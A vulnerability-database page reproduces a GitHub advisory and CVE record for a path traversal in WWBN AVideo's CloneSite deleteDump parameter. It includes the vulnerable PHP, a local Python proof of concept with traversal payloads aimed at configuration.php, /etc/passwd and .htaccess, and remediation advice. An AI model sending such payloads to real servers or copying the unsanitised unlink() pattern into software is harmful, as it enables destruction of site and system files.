Vulnerability-Lookup

GHSA-5879-4FMR-XWF2

Vulnerability from github – Published: 2026-04-14 23:21 – Updated: 2026-04-14 23:21

Summary

WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal

Details

Summary

The incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter.

Affected Package

Ecosystem: Other
Package: AVideo
Affected versions: < commit 941decd6d19e
Patched versions: >= commit 941decd6d19e

Details

At line 44-48 of cloneServer.json.php (pre-fix):

if (!empty($_GET['deleteDump'])) {
    $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
    $resp->msg = "Delete Dump {$_GET['deleteDump']}";
    die(json_encode($resp));
}

No basename(), no realpath() check, no path traversal filtering. $_GET['deleteDump'] is concatenated directly with $clonesDir.

The vulnerable code has zero protection against path traversal: - No basename() to strip directory components - No realpath() to validate the final path - No check that resolved path is within $clonesDir - No ../ sanitization - Additionally, exec() calls with mysqldump pass credentials on the command line

PoC

"""
CVE-2026-33293 - AVideo CloneSite Path Traversal
"""

import sys
import os

VULN_SRC = os.path.join(os.path.dirname(__file__), "src", "cloneServer.json.php")

def verify_source_file():
    if not os.path.isfile(VULN_SRC):
        print("ERROR: Source not found at %s" % VULN_SRC)
        sys.exit(1)
    with open(VULN_SRC, "r") as f:
        src = f.read()
    if "unlink(" not in src or "deleteDump" not in src:
        print("ERROR: Expected patterns not found")
        sys.exit(1)
    return src

def vulnerable_delete_path(clones_dir, delete_dump):
    return clones_dir + delete_dump

def test_path_traversal():
    clones_dir = "/var/www/html/AVideo/videos/clones/"
    payloads = [
        ("../../configuration.php", "Delete site configuration"),
        ("../../../etc/passwd", "Delete system file"),
        ("../../.htaccess", "Delete .htaccess"),
    ]

    print("Testing path traversal via deleteDump parameter:")
    print("Base clones_dir: %s" % clones_dir)
    print()

    all_traversal = True
    for payload, desc in payloads:
        resolved = vulnerable_delete_path(clones_dir, payload)
        real_resolved = os.path.normpath(resolved)
        escaped = not real_resolved.startswith(os.path.normpath(clones_dir))

        if escaped:
            print("[+] TRAVERSAL: %s" % desc)
            print("    Payload: deleteDump=%s" % payload)
            print("    unlink() target: %s" % resolved)
            print("    Normalized: %s" % real_resolved)
        else:
            all_traversal = False

    return all_traversal

def main():
    print("=" * 70)
    print("CVE-2026-33293: AVideo CloneSite Path Traversal PoC")
    print("=" * 70)
    print()

    src = verify_source_file()
    print("[+] Source file verified: %s" % VULN_SRC)

    for line in src.split('\n'):
        if 'unlink(' in line and 'deleteDump' in line:
            print("[+] Vulnerable line: %s" % line.strip())
            break
    print()

    if test_path_traversal():
        print("\nVULNERABILITY CONFIRMED")
        sys.exit(0)
    else:
        print("\nVULNERABILITY NOT CONFIRMED")
        sys.exit(1)

if __name__ == "__main__":
    main()

python3 poc.py

Steps to reproduce: 1. git clone https://github.com/WWBN/AVideo /tmp/AVideo_test 2. cd /tmp/AVideo_test && git checkout 941decd6d19e2e694acb75e86317d10fbb560284~1 3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
The deleteDump parameter passes unsanitized path traversal sequences (../../) directly to unlink(), enabling arbitrary file deletion.

Impact

An attacker can delete arbitrary files on the server. Deleting configuration.php takes the site offline. Deleting .htaccess exposes protected directories. Deleting system files can affect other services.

Suggested Remediation

Use basename($_GET['deleteDump']) to strip directory components. Validate that realpath() of the final path is within $clonesDir. Validate file extension. Add authentication checks.

Severity ?

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:21:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe incomplete fix for AVideo\u0027s CloneSite `deleteDump` parameter does not apply path traversal filtering, allowing `unlink()` of arbitrary files via `../../` sequences in the GET parameter.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** \u003c commit 941decd6d19e\n- **Patched versions:** \u003e= commit 941decd6d19e\n\n### Details\n\nAt line 44-48 of `cloneServer.json.php` (pre-fix):\n```php\nif (!empty($_GET[\u0027deleteDump\u0027])) {\n    $resp-\u003eerror = !unlink(\"{$clonesDir}{$_GET[\u0027deleteDump\u0027]}\");\n    $resp-\u003emsg = \"Delete Dump {$_GET[\u0027deleteDump\u0027]}\";\n    die(json_encode($resp));\n}\n```\n\nNo `basename()`, no `realpath()` check, no path traversal filtering. `$_GET[\u0027deleteDump\u0027]` is concatenated directly with `$clonesDir`.\n\nThe vulnerable code has zero protection against path traversal:\n- No `basename()` to strip directory components\n- No `realpath()` to validate the final path\n- No check that resolved path is within `$clonesDir`\n- No `../` sanitization\n- Additionally, `exec()` calls with `mysqldump` pass credentials on the command line\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33293 - AVideo CloneSite Path Traversal\n\"\"\"\n\nimport sys\nimport os\n\nVULN_SRC = os.path.join(os.path.dirname(__file__), \"src\", \"cloneServer.json.php\")\n\ndef verify_source_file():\n    if not os.path.isfile(VULN_SRC):\n        print(\"ERROR: Source not found at %s\" % VULN_SRC)\n        sys.exit(1)\n    with open(VULN_SRC, \"r\") as f:\n        src = f.read()\n    if \"unlink(\" not in src or \"deleteDump\" not in src:\n        print(\"ERROR: Expected patterns not found\")\n        sys.exit(1)\n    return src\n\ndef vulnerable_delete_path(clones_dir, delete_dump):\n    return clones_dir + delete_dump\n\ndef test_path_traversal():\n    clones_dir = \"/var/www/html/AVideo/videos/clones/\"\n    payloads = [\n        (\"../../configuration.php\", \"Delete site configuration\"),\n        (\"../../../etc/passwd\", \"Delete system file\"),\n        (\"../../.htaccess\", \"Delete .htaccess\"),\n    ]\n\n    print(\"Testing path traversal via deleteDump parameter:\")\n    print(\"Base clones_dir: %s\" % clones_dir)\n    print()\n\n    all_traversal = True\n    for payload, desc in payloads:\n        resolved = vulnerable_delete_path(clones_dir, payload)\n        real_resolved = os.path.normpath(resolved)\n        escaped = not real_resolved.startswith(os.path.normpath(clones_dir))\n\n        if escaped:\n            print(\"[+] TRAVERSAL: %s\" % desc)\n            print(\"    Payload: deleteDump=%s\" % payload)\n            print(\"    unlink() target: %s\" % resolved)\n            print(\"    Normalized: %s\" % real_resolved)\n        else:\n            all_traversal = False\n\n    return all_traversal\n\ndef main():\n    print(\"=\" * 70)\n    print(\"CVE-2026-33293: AVideo CloneSite Path Traversal PoC\")\n    print(\"=\" * 70)\n    print()\n\n    src = verify_source_file()\n    print(\"[+] Source file verified: %s\" % VULN_SRC)\n\n    for line in src.split(\u0027\\n\u0027):\n        if \u0027unlink(\u0027 in line and \u0027deleteDump\u0027 in line:\n            print(\"[+] Vulnerable line: %s\" % line.strip())\n            break\n    print()\n\n    if test_path_traversal():\n        print(\"\\nVULNERABILITY CONFIRMED\")\n        sys.exit(0)\n    else:\n        print(\"\\nVULNERABILITY NOT CONFIRMED\")\n        sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n```bash\npython3 poc.py\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`\n2. `cd /tmp/AVideo_test \u0026\u0026 git checkout 941decd6d19e2e694acb75e86317d10fbb560284~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nThe deleteDump parameter passes unsanitized path traversal sequences (../../) directly to unlink(), enabling arbitrary file deletion.\n```\n\n### Impact\n\nAn attacker can delete arbitrary files on the server. Deleting `configuration.php` takes the site offline. Deleting `.htaccess` exposes protected directories. Deleting system files can affect other services.\n\n### Suggested Remediation\n\nUse `basename($_GET[\u0027deleteDump\u0027])` to strip directory components. Validate that `realpath()` of the final path is within `$clonesDir`. Validate file extension. Add authentication checks.",
  "id": "GHSA-5879-4fmr-xwf2",
  "modified": "2026-04-14T23:21:31Z",
  "published": "2026-04-14T23:21:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5879-4fmr-xwf2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33293"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/941decd6d19e2e694acb75e86317d10fbb560284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal"
}

CVE-2026-41058 (GCVE-0-2026-41058)

Vulnerability from cvelistv5 – Published: 2026-04-21 22:43 – Updated: 2026-04-22 18:35

Title

AVideo has an incomplete fix for CVE-2026-33293 (Path Traversal) in AVideo

Summary

WWBN AVideo is an open source video platform. In versions 29.0 and below, the incomplete fix for AVideo's CloneSite `deleteDump` parameter does not apply path traversal filtering, allowing `unlink()` of arbitrary files via `../../` sequences in the GET parameter. Commit 3c729717c26f160014a5c86b0b6accdbd613e7b2 contains an updated fix.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_MISC
	https://github.com/WWBN/AVideo/commit/3c729717c26…	x_refsource_MISC
	https://github.com/WWBN/AVideo/commit/941decd6d19…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 29.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41058",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-22T18:25:21.691980Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-22T18:35:59.925Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5879-4fmr-xwf2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions 29.0 and below, the incomplete fix for AVideo\u0027s CloneSite `deleteDump` parameter does not apply path traversal filtering, allowing `unlink()` of arbitrary files via `../../` sequences in the GET parameter. Commit 3c729717c26f160014a5c86b0b6accdbd613e7b2 contains an updated fix."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-21T22:43:17.095Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5879-4fmr-xwf2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5879-4fmr-xwf2"
        },
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xmjm-86qv-g226",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xmjm-86qv-g226"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/3c729717c26f160014a5c86b0b6accdbd613e7b2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/3c729717c26f160014a5c86b0b6accdbd613e7b2"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/941decd6d19e2e694acb75e86317d10fbb560284",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/941decd6d19e2e694acb75e86317d10fbb560284"
        }
      ],
      "source": {
        "advisory": "GHSA-5879-4fmr-xwf2",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo has an incomplete fix for CVE-2026-33293 (Path Traversal) in AVideo"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-41058",
    "datePublished": "2026-04-21T22:43:17.095Z",
    "dateReserved": "2026-04-16T16:43:03.173Z",
    "dateUpdated": "2026-04-22T18:35:59.925Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-5879-4FMR-XWF2

Summary

Affected Package

Details

PoC

Impact

Suggested Remediation

CVE-2026-41058 (GCVE-0-2026-41058)

Tags

Sightings

Nomenclature